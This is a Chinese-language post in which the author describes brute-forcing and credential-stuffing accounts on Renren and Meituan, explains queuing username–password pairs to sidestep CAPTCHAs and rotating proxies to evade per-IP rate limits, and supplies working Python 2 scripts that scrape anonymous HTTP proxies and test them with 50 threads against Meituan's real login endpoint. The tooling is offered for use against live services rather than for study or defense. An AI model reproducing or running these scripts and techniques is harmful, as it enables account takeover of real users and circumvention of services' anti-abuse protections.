批量获取及验证HTTP代理的Python脚本

HTTP暴力破解、撞库，有一些惯用的技巧，比如：

1. 在扫号人人网时，我遇到单个账号错误两次，强制要求输入验证码，而对方并未实施IP策略。

我采用维护10万（用户名，密码） 队列的方式来绕过验证码。具体的做法是，当某个用户名、密码组合遇到需要验证码，就把该破解序列挂起，放到队列尾部等待下次测试，继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时，我遇到了单个IP访问有一定限制，请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常，但其实从整个程序上看，效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段，其实只有几行。匿名代理是从这里抓取的：http://www.xici.net.co/nn/

首先获取代理列表 ：

from bs4 import BeautifulSoup
import urllib2

of = open('proxy.txt' , 'w')

for page in range(1, 160):
 html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
 soup = BeautifulSoup(html_doc)
 trs = soup.find('table', id='ip_list').find_all('tr')
 for tr in trs[1:]:
   tds = tr.find_all('td')
   ip = tds[1].text.strip()
   port = tds[2].text.strip()
   protocol = tds[5].text.strip()
   if protocol == 'HTTP' or protocol == 'HTTPS':
     of.write('％s=％s:％s\n' ％ (protocol, ip, port) )
     print '％s=％s:％s' ％ (protocol, ip, port)

of.close()

接着验证代理是否可用，因为我是用于破解美团网系统的账号，因此用了美团的页面标记：

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
 while True:
   lock.acquire()
   line = inFile.readline().strip()
   lock.release()
   if len(line) == 0: break
   protocol, proxy = line.split('=')
   headers = {'Content-Type': 'application/x-www-form-urlencoded',
     'Cookie': ''}
   try:
     conn = httplib.HTTPConnection(proxy, timeout=3.0)
     conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
     res = conn.getresponse()
     ret_headers = str( res.getheaders() )
     html_doc = res.read().decode('utf-8')
     print html_doc.encode('gbk')
     if ret_headers.find(u'/m/account/login/') > 0:
       lock.acquire()
       print 'add proxy', proxy
       outFile.write(proxy + '\n')
       lock.release()
     else:
       print '.',
   except Exception, e:
     print e

all_thread = []
for i in range(50):
 t = threading.Thread(target=test)
 all_thread.append(t)
 t.start()

for t in all_thread:
 t.join()

inFile.close()
outFile.close()